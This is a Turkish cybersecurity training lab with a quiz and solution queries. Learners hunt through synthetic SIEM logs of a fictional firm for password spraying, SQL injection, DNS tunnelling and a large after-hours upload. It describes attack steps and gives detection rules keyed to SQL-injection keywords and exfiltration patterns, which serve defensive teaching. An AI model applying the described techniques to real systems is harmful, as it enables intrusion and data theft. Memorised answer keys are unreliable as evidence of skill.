ZEKASTRA Siber Güvenlik / Laboratuvar / Kayıt avı: kayıtları sorgulayın Laboratuvar
Kayıt avı: kayıtları sorgulayın Uydurma bir günün oturum açma, posta kutusu, web, DNS, vekil sunucu ve süreç kayıtlarını SIEM tarzı bir sorgu diliyle arayın; altı görevin sorularını bulduklarınızdan yanıtlayın.
Düzey: Başlangıçtan ortaya Beceriler: Kayıt analizi, tehdit avı
Yerelde çalışır Uydurma veri. İlerleme yalnızca bu tarayıcıda tutulur.
Benzetim: uydurma veri
Kuzey Lojistik A.Ş.'de bir gün 12 Mart 2026 Perşembe, 00.00–24.00. 34 kişilik bir lojistik şirketi altı kayıt kaynağını SIEM'e gönderiyor: oturum açma, posta kutusu denetimi, müşteri portalı, DNS, web vekil sunucusu ve süreç başlatma. Sıradan trafiğin arasına beş olay gizlenmiş. Kayıtları sorgu çubuğuyla arayın; her görevin sorularını kayıtların gösterdiğine dayanarak yanıtlayın.
SIEM (güvenlik bilgi ve olay yönetimi), farklı kaynaklardan gelen kayıtları tek yerde toplayıp birlikte aranabilir kılan sistemdir. Buradaki sorgu dili, SIEM arama araçlarının dikey çizgili (pipe) yazımından örnek alınmış küçük bir alt kümedir; anladığı her şey aşağıdaki kılavuzda.
Oturum açma –
Posta kutusu denetimi –
Müşteri portalı –
DNS –
Web vekil sunucusu –
Süreç başlatma –
Günün kayıtları – Bu laboratuvar tarayıcınızda çalışır ve JavaScript gerektirir. Görevleri ve sorgu kılavuzunu yine de okuyabilirsiniz.
Görevler 34 sorudan 0 tanesi yanıtlandı
İlerlemeyi sıfırlayın 0 Isınma 1 Parola püskürtme 2 Portal saldırısı 3 DNS tünelleme 4 Gece yüklemesi 5 Makrolu belge
Isınma: günü tanıyın Düzey: Giriş Kaynaklar: authweb 4 soru
0/4
Ava çıkmadan önce analist normalin neye benzediğini öğrenir: kaç kayıt var, en çok hangi kaynak konuşuyor, şirket hangi saatlerde yoğun. Buradaki her yanıt tek bir kısa sorgudan çıkar.
Örnek sorguları ve sonuçların solundaki alan listesini dilediğiniz gibi kullanın; çalıştırdığınız hiçbir şey veriyi değiştirmez.
1 Günde toplam kaç kayıt var? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
Boş bir arama bütün kayıtlarla eşleşir. Ardından gelen dikey çizgi ve count sonucu tek bir sayıya çevirir.
Bunu çalıştırın ve count sütununu okuyun.
| countSorguyu çalıştırın
Açıklama. Altı kaynaktan 2.962 kayıt. Gerçek bir SIEM'de bu, orta ölçekli bir şirketin birkaç dakikalık kaydıdır; her sorgu anında yanıt versin diye veri küçük tutuldu.
Çözüm sorgusu: | countÇalıştırın
2 En çok kaydı hangi kaynak üretti? source değerini yazın. Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
source alanının her değeri için sayın.
İlk satır en büyük olandır.
| count by sourceSorguyu çalıştırın
Açıklama. 973 kayıtla web; dns'in hemen önünde. Herkese açık bir portal çoğu şirkette en gürültülü kaynaktır, çünkü internetteki herkes ona ulaşabilir.
Çözüm sorgusu: | count by sourceÇalıştırın
3 Müşteri portalı en çok isteği hangi saatte (0–23) aldı? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
source=web süzgecinden sonra histograma bakın ya da hour alanına göre sayın.
source=webSorguyu çalıştırın
Bu sorgu en yoğun saati ilk sırada verir.
source=web | count by hour | sort -count | head 1Sorguyu çalıştırın
Açıklama. 221 istekle 10 (10.00–11.00); başka herhangi bir saatin iki katından fazla. Müşteriler sabahın ortasında takip sorgularını birden üçe katlamaz; bu sıçramayı 2. görev açıklıyor.
Çözüm sorgusu: source=web | count by hour | sort -count | head 1Çalıştırın
4 Oturum açma kaydında kaç başarısız giriş (result=failure) var? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
İki alan süzgeci ve bir sayım.
Bunu çalıştırın.
source=auth result=failure | countSorguyu çalıştırın
Açıklama. 72. Bir kısmı sabah parolasını yanlış yazan çalışanlar, bir kısmı SSO sayfasına gelen internet gürültüsü; çoğu ise gecenin erken saatlerinde tek bir adresten geliyor. 1. görev oradan başlıyor.
Çözüm sorgusu: source=auth result=failure | countÇalıştırın
Analist özeti, bu görevin bütün soruları yanıtlanınca açılır.
Analist özeti Ne oldu Gün altı kaynaktan 2.962 kayıt içeriyor. Ofis hareketi 07.40 civarında başlıyor, 18.00'den sonra azalıyor; portal ve DNS gece boyunca çalışmaya devam ediyor. İki tuhaflık şimdiden göze çarpıyor: gecenin erken saatlerinde başarısız giriş yığılması ve 10.00 ile 11.00 arasında portal sıçraması.
Kontrol altına alma ve sonraki adımlar Bir taban çizgisi tutun: sıradan bir günde kaynak ve saat başına kayıt sayısı, sıçramaları kolay görünür kılar. Kural yazmadan önce alanlarınızı tanıyın. Bir kaynağın hiç doldurmadığı alana yazılan kural hiçbir zaman tetiklenmez. Bunu yakalayacak tespit kuralı Kaynak başına saatlik hacim. En yoğun on kaynak-saat çifti. Alarm vermeden önce sıradan bir günle karşılaştırın.
| count by source,hour | sort -count | head 10Kuralı çalıştırın
Parola püskürtme ve ele geçirilen posta kutusu Düzey: Başlangıç Kaynaklar: authmail 6 soru
0/6
09.50. Müşteri B'nin finans ekibi arıyor: muhasebe ekibimizden birinden, Kuzey Lojistik'in banka hesabının değiştiğini bildiren bir e-posta almışlar. Muhasebede kimse böyle bir ileti gönderdiğini hatırlamıyor.
Oturum açma kaydından başlayın. Parola püskürtme (password spraying), hiçbir hesap kilitlenmesin diye tek bir yaygın parolayı çok sayıda hesapta denemektir.
1 En çok başarısız giriş hangi IP adresinden geldi? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
Başarısız girişlere süzün, sonra en sık görülen kaynak adresleri listeleyin.
source=auth result=failureSorguyu çalıştırın
top, değerleri sayılarıyla listeler.
source=auth result=failure | top 5 src_ipSorguyu çalıştırın
Açıklama. 72 başarısızlığın 59'u (%82) 203.0.113.45 adresinden. Sonraki adreste yalnızca iki tane var. Tek adresin çok sayıda hesapta başarısız olması püskürtmenin biçimidir; tek hesabın çok sayıda adresten başarısız olması ise tek kullanıcıya yönelik dağıtık bir saldırının biçimi olurdu.
Çözüm sorgusu: source=auth result=failure | top 5 src_ipÇalıştırın
2 Bu adres kaç farklı kullanıcı adı denedi? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
dc farklı değer sayısıdır (distinct count).
Bunu çalıştırın.
source=auth src_ip=203.0.113.45 | dc(user)Sorguyu çalıştırın
Açıklama. 30 ad: 24 gerçek hesap ve var olmayan 6 ad (admin, test, info, muhasebe, ik, destek; reason=unknown_user). Her ad, yaklaşık yarım saat arayla iki kez denendi; bu, her hesabı tipik kilitlenme eşiğinin altında tutar.
Çözüm sorgusu: source=auth src_ip=203.0.113.45 | dc(user)Çalıştırın
3 Bu adres hangi hesaba girmeyi başardı? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
Adresi koruyun, sonucu değiştirin.
source=auth src_ip=203.0.113.45 result=successSorguyu çalıştırın
Saat sırasına dizilmiş bir tablo akışı netleştirir.
source=auth src_ip=203.0.113.45 result=success | sort time | table time,user,clientSorguyu çalıştırın
Açıklama. s.aksoy (Selin Aksoy, muhasebe). Parolası ilk turda 03.13'te başarısız oldu, ikinci turda tuttu. Aynı adresten dört başarılı giriş daha geliyor; sonuncusu 09.31'de.
Çözüm sorgusu: source=auth src_ip=203.0.113.45 result=success | sort time | table time,user,clientÇalıştırın
4 İlk başarılı giriş hangi istemciyle yapıldı? client değerini yazın. Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
client alanı aynı tabloda.
Bu tablonun ilk satırına bakın.
source=auth src_ip=203.0.113.45 result=success | sort time | table time,user,clientSorguyu çalıştırın
Açıklama. imap. Düz parolayla IMAP ve EWS eski kimlik doğrulamadır (legacy authentication): sunucu parolayı denetler ve MFA istemini hiç göstermez. Şirket tarayıcı ve Outlook girişlerinde MFA kullandığı hâlde doğru parolanın yetmesinin nedeni bu.
Çözüm sorgusu: source=auth src_ip=203.0.113.45 result=success | sort time | table time,user,clientÇalıştırın
5 İlk başarılı giriş saat kaçta oldu? SS:DD:ss biçiminde yazın. Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
Bu adresin başarılı girişlerini saate göre sıralayın.
İlk satır en erken olanıdır.
source=auth src_ip=203.0.113.45 result=success | sort time | table time,user,clientSorguyu çalıştırın
Açıklama. 03.47.21; ikinci turun ortasında. Püskürtme isabetten sonra durmadı; kalan adlar 03.49'a kadar denenmeye devam etti. Bu, bir listeyi baştan sona işleyen otomatik araçlara özgüdür.
Çözüm sorgusu: source=auth src_ip=203.0.113.45 result=success | sort time | table time,user,clientÇalıştırın
6 Saldırgan posta kutusunda bir gelen kutusu kuralı oluşturdu. Kural iletileri hangi adrese yönlendiriyor? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
Posta kutusu denetim kaynağına geçin ve saldırganın adresini koruyun.
source=mail src_ip=203.0.113.45Sorguyu çalıştırın
Kuralın ayrıntılarını tablo olarak gösterin.
source=mail src_ip=203.0.113.45 operation=New-InboxRule | table time,rule_name,rule_condition,forward_to,folderSorguyu çalıştırın
Açıklama. kl.muhasebe.arsiv@mailbox.example; muhasebe arşivi gibi görünsün diye seçilmiş dış bir adres. Yalnızca “..” adı verilen kural, içinde fatura, ödeme ya da IBAN geçen iletileri yakalıyor, dışarı yönlendiriyor ve kimsenin açmadığı RSS Feeds klasörüne taşıyor. Gün içinde oluşturulan diğer iki kural (e.demir, l.tas) ofis adreslerinden geliyor ve şirket içinde kalıyor.
Çözüm sorgusu: source=mail src_ip=203.0.113.45 operation=New-InboxRule | table time,rule_name,rule_condition,forward_to,folderÇalıştırın
Analist özeti, bu görevin bütün soruları yanıtlanınca açılır.
Analist özeti Ne oldu 03.12 ile 03.49 arasında 203.0.113.45, IMAP üzerinden 30 kullanıcı adında hesap başına bir parola denedi. İkinci turda s.aksoy hesabının parolası tuttu (03.47.21). IMAP ve EWS, MFA istemi göstermeyen eski protokoller olduğu için parola tek başına yetti. Saldırgan ardından posta kutusuna yönlendirme kuralı gizledi, 1.240 ileti okudu, mesai saatini bekledi ve 09.33'te gerçek muhasebe adresinden müşterilere iki “yeni banka bilgisi” e-postası gönderip bunları Gönderilmiş Öğeler'den sildi.
Zaman çizelgesi 03:12:04 Püskürtmenin ilk turu başlıyor: 30 ad, her birine bir deneme. 03:41:30 İkinci tur başlıyor. 03:47:21 s.aksoy hesabına başarılı IMAP girişi. 03:52:10 EWS girişi; saldırgan kural yönetebilen bir protokole geçiyor. 03:55:02 “..” adlı gelen kutusu kuralı fatura ve ödeme iletilerini dışarı yönlendiriyor. 03:58:30 1.240 ileti toplu olarak okunuyor. 09:33:40 Müşteri B'ye ilk sahte banka bilgisi e-postası. 09:36:00 Gönderilen iletiler Silinmiş Öğeler'e taşınıyor. Kontrol altına alma ve sonraki adımlar s.aksoy'un parolasını sıfırlayın ve bütün etkin oturumları ve belirteçleri iptal edin; yalnızca yeni parola açık bir EWS oturumunu sonlandırmaz. “..” kuralını silin; ardından bütün posta kutularında şirket dışına yönlendiren kuralları arayın. Müşteri B ve Müşteri C'yi e-postadaki değil, elinizde zaten olan numaradan arayın: banka bilgileri değişmedi. Finanstan, yönü değiştirilmiş bir ödeme olup olmadığını sorun. Bütün kiracı için eski kimlik doğrulamayı (temel kimlik doğrulamalı IMAP, POP, EWS) kapatın. Girişi durduracak denetim budur. 203.0.113.45'i şimdilik engelleyin ama buna güvenmeyin: püskürtme araçları adres değiştirir. Bunu yakalayacak tespit kuralı Tek kaynak, çok hesap. Tek bir adres on ya da daha fazla farklı hesapta başarısız olduğunda tetiklenir. Gerçek ortamda bir saatlik pencerede sayın.
source=auth result=failure | stats dc(user) count by src_ip | where dc(user)>=10Kuralı çalıştırın
Dışarı yönlendiren kural. Yönlendirme adresi şirket adresi olmayan her yeni gelen kutusu kuralı.
source=mail operation=New-InboxRule forward_to=* NOT forward_to=*@kuzeylojistik.exampleKuralı çalıştırın
ATT&CK eşlemesi T1110.003Kaba kuvvet: parola püskürtme T1078Geçerli hesaplar T1114.003E-posta toplama: yönlendirme kuralı T1564.008İzleri gizleme: e-posta gizleme kuralları T1656Kimliğe bürünme Müşteri portalında tarama ve SQL enjeksiyonu Düzey: Başlangıçtan ortaya Kaynaklar: web 6 soru
0/6
10.50. Yazılım ekibi, veritabanı sunucusunun işlemcisinin 10.40 civarında sıçradığını ve gönderi takip sayfasının bir süre hata verdiğini bildiriyor. portal.kuzeylojistik.example, müşteriler gönderilerini izleyebilsin diye internete açık.
SQL enjeksiyonu, bir sayfanın arkasındaki veritabanı sorgusunu değiştirecek biçimde girdi yazılmasıdır. Erişim kayıtlarında sorgu dizesinde tırnaklar, yorum işaretleri ve SQL sözcükleri olarak görünür.
1 En çok hata yanıtı (durum kodu 400 ya da üstü) hangi IP adresine gitti? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
status üzerinde sayısal karşılaştırma yapılabilir.
source=web status>=400Sorguyu çalıştırın
Sonra en sık adresleri listeleyin.
source=web status>=400 | top 5 src_ipSorguyu çalıştırın
Açıklama. 99 hata yanıtıyla 198.51.100.23. İkinci adres 192.0.2.200, gece birkaç eski sayfaya uğrayan bir arama motoru tarayıcısı (ExampleBot): hata üretiyor ama zararsız.
Çözüm sorgusu: source=web status>=400 | top 5 src_ipÇalıştırın
2 Bu adres kaç farklı yol (path) istedi? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
Bu adres için path alanının farklı değer sayısı.
Bunu çalıştırın.
source=web src_ip=198.51.100.23 | dc(path)Sorguyu çalıştırın
Açıklama. Üç dakikadan kısa sürede 93 yol (10.14.03–10.16.58): /.env, /.git/config, /backup.zip, /phpmyadmin/ gibi. Kimse böyle gezinmez; bu, unutulmuş dosyaları ve yönetim panellerini arayan bir sözcük listesi taramasıdır. Bir müşteri dört beş yol kullanır.
Çözüm sorgusu: source=web src_ip=198.51.100.23 | dc(path)Çalıştırın
3 /track isteklerinin user_agent alanında hangi aracın adı geçiyor? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
Takip sayfasına daraltın ve user_agent alanına bakın.
source=web src_ip=198.51.100.23 path=/trackSorguyu çalıştırın
Bunu çalıştırın.
source=web src_ip=198.51.100.23 path=/track | top user_agentSorguyu çalıştırın
Açıklama. sqlmap; SQL enjeksiyonu denemelerini otomatikleştiren açık kaynaklı bir araç. Tarama aşaması kendini gobuster olarak tanıtmıştı. Saldırgan user_agent değerini dilediği gibi değiştirebilir; bu yüzden onu kanıt değil ipucu sayın. Burada sorgu dizelerinin gösterdiğiyle örtüşüyor.
Çözüm sorgusu: source=web src_ip=198.51.100.23 path=/track | top user_agentÇalıştırın
4 Sorgu dizesindeki hangi parametre kurcalanıyordu? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
/track'a gönderilen sorgu dizelerini tablo olarak gösterin.
Parametrenin adı eşittir işaretinden öncedir.
source=web src_ip=198.51.100.23 path=/track | table time,query,status,bytesSorguyu çalıştırın
Açıklama. shipment. Değer normal bir takip numarasıyla (KL-104233) başlıyor; sonra bir tırnak, AND 1=1 türünden doğru/yanlış testleri, sütun saymak için ORDER BY ve en sonunda başka tabloları sayfaya çekmek için UNION SELECT ekleniyor.
Çözüm sorgusu: source=web src_ip=198.51.100.23 path=/track | table time,query,status,bytesÇalıştırın
5 Bu adresin isteklerinden kaçı 500 durum koduyla sonuçlandı? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
500 sunucu hatasıdır: veritabanı sorgusu bozuldu.
Bunu çalıştırın.
source=web src_ip=198.51.100.23 status=500 | countSorguyu çalıştırın
Açıklama. 10. Her 500, eklenen girdinin bozduğu bir sorgudur. Araç veritabanı sorgusunun yapısını bu hata yanıtlarından öğrenir; bu yüzden sayfa veritabanı hatalarını ziyaretçiye hiç iletmemelidir.
Çözüm sorgusu: source=web src_ip=198.51.100.23 status=500 | countÇalıştırın
6 Başarılı yanıtlardan biri ötekilerden çok daha büyüktü. Kaç bayttı? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
Saldırganın başarılı yanıtlarını boyuta göre, büyükten küçüğe sıralayın.
source=web src_ip=198.51.100.23 status=200 | sort -bytesSorguyu çalıştırın
Yalnızca en üst satırı bırakın.
source=web src_ip=198.51.100.23 status=200 | sort -bytes | head 1 | table time,query,bytesSorguyu çalıştırın
Açıklama. 10.43.08'de, customers tablosu (ad, e-posta, telefon, IBAN) üzerinde bir UNION SELECT için 1.482.960 bayt. Normal bir takip sayfası 4–8 KB'tır. Boyut, kayıttaki en güçlü işarettir: müşteri verisi sunucudan gerçekten çıktı. Bu da olayı bir denemeden kişisel veri ihlaline çevirir.
Çözüm sorgusu: source=web src_ip=198.51.100.23 status=200 | sort -bytes | head 1 | table time,query,bytesÇalıştırın
Analist özeti, bu görevin bütün soruları yanıtlanınca açılır.
Analist özeti Ne oldu 198.51.100.23 önce portalı bir sözcük listesiyle taradı (93 yol, 10.14–10.16). On yedi dakika sonra sqlmap ile /track sayfasının shipment parametresine saldırdı: tırnak hata üretti, doğru/yanlış testleri enjeksiyonu doğruladı, ORDER BY beş sütun buldu, UNION SELECT veritabanı sürümünü, tablo listesini ve customers tablosunun sütunlarını okudu; 10.43.08'de 1,48 MB'lık bir yanıt müşteri tablosunu döndürdü. 10.44'teki iki oturum açma denemesi başarısız oldu.
Zaman çizelgesi 10:14:03 Sözcük listesi taraması başlıyor (gobuster). 10:16:58 Tarama 93 yoldan sonra bitiyor. 10:31:12 sqlmap, shipment parametresini denemeye başlıyor. 10:43:08 customers üzerinde UNION SELECT 1.482.960 bayt döndürüyor. 10:44:41 Son istek: başarısız bir oturum açma denemesi. Kontrol altına alma ve sonraki adımlar /track'in arkasındaki sorguyu parametreli ifadelerle düzeltin; tırnakları süzmek düzeltme değildir. Düzeltme yayına alınana kadar parametre için bir WAF kuralı ekleyin ve 198.51.100.23'ü engelleyin. Başka bir şeyi değiştirmeden önce web sunucusu ve veritabanı kayıtlarını ve bir veritabanı anlık görüntüsünü saklayın; tam olarak neyin okunduğunu bunlar gösterir. Uygulamanın veritabanı hesabına yalnızca gereken yetkileri verin: takip sayfasının information_schema'yı ya da customers tablosunu okumak için bir nedeni yok. Müşteri adları, e-posta adresleri, telefon numaraları ve IBAN'ları açığa çıktı. KVKK m. 12/5 kapsamındaki bildirim yükümlülüğünü (Kurul kararıyla süre 72 saat) değerlendirmek için veri koruma sorumlusunu ve hukuk ekibini sürece katın. Bunu yakalayacak tespit kuralı Sözcük listesi taraması. Tek bir adresin yirmi ya da daha fazla farklı yolda hata alması.
source=web status>=400 | stats dc(path) count by src_ip | where dc(path)>=20Kuralı çalıştırın
Sorgu dizesinde SQL sözcükleri. Sorgu dizesinde SQL yazımı taşıyan istekler ve her adresin aldığı en büyük yanıt.
source=web (query="*UNION*SELECT*" OR query="*ORDER BY*" OR query="*' AND *") | stats count max(bytes) by src_ipKuralı çalıştırın
ATT&CK eşlemesi T1595.003Etkin tarama: sözcük listesi taraması T1190İnternete açık uygulamayı istismar DNS sorgularına gizlenmiş veri Düzey: Orta Kaynaklar: dnsprocessproxy 6 soru
0/6
16.10. Ağ ekibi, iç DNS çözümleyicisinin bu öğleden sonra internete alışılmadık sayıda TXT sorgusu ilettiğini fark ediyor. Vekil sunucuda göze batan bir şey yok.
DNS tünelleme, veriyi sorgulanan adların içine yerleştirir; örneğin saldırganın denetlediği bir alan adının önüne uzun, rastgele bir etiket ekler. Her sorgu, doğrudan internet erişimini engelleyen ağlardan bile saldırganın ad sunucusuna ulaşır.
1 Hangi alan adı en çok farklı adla sorgulandı? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
Alan adı başına farklı sorgu adı sayısını bulun. Normal bir alan adında birkaç tane olur.
Bunu çalıştırın.
source=dns | dc(query) by domain | head 5Sorguyu çalıştırın
Açıklama. 262 farklı adla exfil.example. Ardından 15 adla example.net geliyor; çoğu CDN adresi. Alan adı başına benzersiz alt alan adı saymak, tünellemenin en güvenilir işaretlerinden biridir; meşru hizmetler aynı birkaç adı yeniden kullanır.
Çözüm sorgusu: source=dns | dc(query) by domain | head 5Çalıştırın
2 Bu sorguları hangi iç bilgisayar gönderdi? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
Alan adına süzün ve bilgisayarları listeleyin.
Bunu çalıştırın.
source=dns domain=exfil.example | top hostSorguyu çalıştırın
Açıklama. KL-WS-031; planlama ekibinden Tolga Çetin'in iş istasyonu. Sorguların tamamı (%100) bu tek bilgisayardan geliyor.
Çözüm sorgusu: source=dns domain=exfil.example | top hostÇalıştırın
3 Bu alan adına kaç sorgu gitti? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
Alan adının kayıtlarını sayın.
Bunu çalıştırın.
source=dns domain=exfil.example | countSorguyu çalıştırın
Açıklama. 262: 13.05.14'te init.exfil.example için bir A sorgusu, ardından 15.45'e kadar yaklaşık 26–48 saniyede bir TXT sorgusu. Öğle arası ya da toplantı boşluğu olmayan düzenli ritim, işi bir kişinin değil bir programın yaptığını gösteren başka bir işaret.
Çözüm sorgusu: source=dns domain=exfil.example | countÇalıştırın
4 Bu sorguların neredeyse tamamı hangi kayıt türünü kullanıyor? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
qtype alanında top kullanın.
Bunu çalıştırın.
source=dns domain=exfil.example | top qtypeSorguyu çalıştırın
Açıklama. 262 sorgunun 261'inde TXT. TXT kayıtları yanıtta serbest metin taşıyabilir; bu da tünele bir dönüş kanalı sağlar. Sıradan ofis bilgisayarları, posta ve alan adı doğrulama denetimleri dışında TXT kaydı nadiren ister.
Çözüm sorgusu: source=dns domain=exfil.example | top qtypeÇalıştırın
5 Bu alan adında sorgulanan en uzun ad kaç karakter? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
qlen alanı sorgulanan adın uzunluğunu tutar. max() en büyüğünü verir.
Bunu çalıştırın, sonra şununla karşılaştırın: source=dns domain!=exfil.example | stats max(qlen) avg(qlen)
source=dns domain=exfil.example | stats max(qlen)Sorguyu çalıştırın
Açıklama. 103 karakter. Günün diğer adlarının hiçbiri 42 karakteri geçmiyor; ortalama 22. Yalnızca a–z harflerinden ve 2–7 rakamlarından oluşan uzun adlar Base32 kodlamaya işaret eder: karakter başına yaklaşık beş bit veri.
Çözüm sorgusu: source=dns domain=exfil.example | stats max(qlen)Çalıştırın
6 İlk sorgudan kısa süre önce o bilgisayarda hangi program başladı? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
Süreç başlatma kaynağına geçin, bilgisayarı koruyun ve zamanı 13.05'ten önceki birkaç dakikaya daraltın.
source=process host=KL-WS-031Sorguyu çalıştırın
Bunu çalıştırın.
source=process host=KL-WS-031 earliest=12:55 latest=13:06 | table time,image,parent,cmdlineSorguyu çalıştırın
Açıklama. dnshelper.exe; 13.04.51'de Downloads klasöründen çift tıklamayla başlatılmış (üst süreç explorer.exe). Nereden geldiğini vekil sunucu gösteriyor: 12.58.20'de t.cetin, tools.freeware.example adresinden 2,4 MB indirmiş (kategori software-downloads).
Çözüm sorgusu: source=process host=KL-WS-031 earliest=12:55 latest=13:06 | table time,image,parent,cmdlineÇalıştırın
Analist özeti, bu görevin bütün soruları yanıtlanınca açılır.
Analist özeti Ne oldu 12.58'de t.cetin, tools.freeware.example adresinden bir araç indirdi ve 13.04'te çalıştırdı. Program 13.05 ile 15.45 arasında exfil.example'a 262 sorgu gönderdi: 103 karaktere kadar uzanan rastgele Base32 etiketleri, neredeyse tamamı TXT, makineye özgü bir ritimle. Her etiket kabaca 40–60 bayt taşıyor; toplam on kilobayt mertebesinde. Az görünür ama parolalar, anahtarlar ya da bir belge için yeter. Veri, şirketin kendi çözümleyicisi üzerinden DNS olarak gittiği için vekil sunucu hiçbir şey görmedi.
Zaman çizelgesi 12:58:20 tools.freeware.example adresinden indirme (2,4 MB). 13:04:51 dnshelper.exe KL-WS-031'de başlıyor. 13:05:14 İlk sorgu: init.exfil.example. 13:05:40 Uzun rastgele adlı TXT sorguları başlıyor. 15:45:39 Son sorgu. Kontrol altına alma ve sonraki adımlar KL-WS-031'i ağdan yalıtın; belleğin toplanabilmesi için açık bırakın. dnshelper.exe dosyasını ve özetini (hash) toplayın; ardından çözümleyicide exfil.example ve tools.freeware.example için çukur (sinkhole) tanımlayın. Bütün DNS kayıtlarında iki alan adını da arayın: bir bilgisayar nadiren yalnızdır. İş istasyonunda neler bulunduğunu ve kullanıcının nelere erişebildiğini çıkarın; orada kullanılan gizli bilgileri açığa çıkmış sayın ve değiştirin. Yazılım kurulumuna yalnızca onaylı listeden izin verin ve iş istasyonlarının DNS'e yalnızca iç çözümleyici üzerinden ulaşabildiğinden emin olun. Bunu yakalayacak tespit kuralı Tek alan adı altında çok sayıda benzersiz ad. Bir bilgisayarın bir gün içinde aynı alan adı altında elli ya da daha fazla farklı ad sorması.
source=dns | stats dc(query) count by domain,host | where dc(query)>=50Kuralı çalıştırın
Alışılmadık uzunlukta adlar. 60 ya da daha fazla karakterli adlar. Eşiği kendi CDN ve güvenlik ürünlerinize göre ayarlayın.
source=dns qlen>=60 | stats count by host,domainKuralı çalıştırın
ATT&CK eşlemesi T1204.002Kullanıcı yürütmesi: kötü amaçlı dosya T1071.004Uygulama katmanı protokolü: DNS T1132.001Veri kodlama: standart kodlama Mesai dışında büyük yükleme Düzey: Orta Kaynaklar: proxyauthprocess 6 soru
0/6
Cuma sabahı. İK, satış ekibinden birinin bu hafta istifasını verdiğini söylüyor. Veri kaybı önleme (DLP) ürünü yok; elinizdeki tek görünüm vekil sunucu ve VPN kayıtları.
12 Mart'ta mesai sonrasında şirketten büyük miktarda veri çıkıp çıkmadığını, kimin gönderdiğini ve nereye gittiğini bulun.
1 20.00'den sonra vekil sunucu üzerinden en çok baytı hangi kullanıcı gönderdi? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
Zaman aralığını earliest ile belirleyin, sonra kullanıcı başına bytes_out toplamını alın.
source=proxy earliest=20:00Sorguyu çalıştırın
Bunu çalıştırın.
source=proxy earliest=20:00 | sum(bytes_out) by userSorguyu çalıştırın
Açıklama. Yaklaşık 4,2 milyar baytla k.ozturk (Kerem Öztürk, satış). Geç saatte çalışan diğer herkes birkaç kilobayt gönderdi. Veri kaybında önemli olan yön bytes_out'tur; bytes_in geri gelendir.
Çözüm sorgusu: source=proxy earliest=20:00 | sum(bytes_out) by userÇalıştırın
2 Bu verinin çoğu hangi alan adına gitti? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
Aynı kullanıcının akşam trafiğini hedefe göre gruplayın.
Bunu çalıştırın.
source=proxy user=k.ozturk earliest=20:00 | stats sum(bytes_out) count by url_domain,actionSorguyu çalıştırın
Açıklama. files.sharebox.example. Gün içinde yedi kişinin 2–14 MB'lık dosyalar için kullandığı onaylı bir dosya paylaşım hizmeti; bu yüzden kategori ya da alan adı engeli bunu durdurmazdı. Onu öne çıkaran saat, hacim ve kullanıcının durumu.
Çözüm sorgusu: source=proxy user=k.ozturk earliest=20:00 | stats sum(bytes_out) count by url_domain,actionÇalıştırın
3 20.00'den sonra bu adrese kaç yükleme isteği gönderdi? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
Alan adını süzgece ekleyin ve sayın.
Bunu çalıştırın.
source=proxy user=k.ozturk url_domain=files.sharebox.example earliest=20:00 | countSorguyu çalıştırın
Açıklama. 22.41 ile 23.14 arasında 14 PUT isteği; her biri 180–410 MB. Boyutlar, 7-Zip'in 22.39.55'te oluşturmak üzere çalıştırıldığı 400 MB'lık parçalarla örtüşüyor (7z.exe a -v400m ... D:\Satis\Musteri_Teklifleri).
Çözüm sorgusu: source=proxy user=k.ozturk url_domain=files.sharebox.example earliest=20:00 | countÇalıştırın
4 Bu yüklemeler toplam kaç bayt etti? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
sum() bir alanın değerlerini toplar.
Bunu çalıştırın. Sayıyı ayraçlı ya da ayraçsız yapıştırabilirsiniz.
source=proxy user=k.ozturk url_domain=files.sharebox.example earliest=20:00 | stats sum(bytes_out)Sorguyu çalıştırın
Açıklama. 33 dakikada 4.209.033.216 bayt, yani yaklaşık 4,2 GB. Karşılaştırma için: gündüz aynı hizmeti kullanan yedi kişinin toplamı yaklaşık 51 MB.
Çözüm sorgusu: source=proxy user=k.ozturk url_domain=files.sharebox.example earliest=20:00 | stats sum(bytes_out)Çalıştırın
5 Bundan önce vekil sunucu onun iki yüklemesini engelledi. Hangi alan adına? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
Bu kullanıcı için action=blocked süzgecini kullanın.
Bunu çalıştırın.
source=proxy user=k.ozturk action=blocked | table time,url_domain,categorySorguyu çalıştırın
Açıklama. 22.35 ve 22.36'da upload.quickdrop.example; engel listesindeki onaysız bir hizmet. Önce engelli bir hizmeti deneyip birkaç dakika sonra izinli birine geçmek niyet gösterir: politika bir kez işe yaradı, sonra etrafından dolaşıldı.
Çözüm sorgusu: source=proxy user=k.ozturk action=blocked | table time,url_domain,categoryÇalıştırın
6 O akşam VPN'e saat kaçta bağlandı? SS:DD:ss biçiminde yazın. Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
VPN bağlantısı oturum açma kaydında.
source=auth user=k.ozturkSorguyu çalıştırın
Bunu çalıştırın.
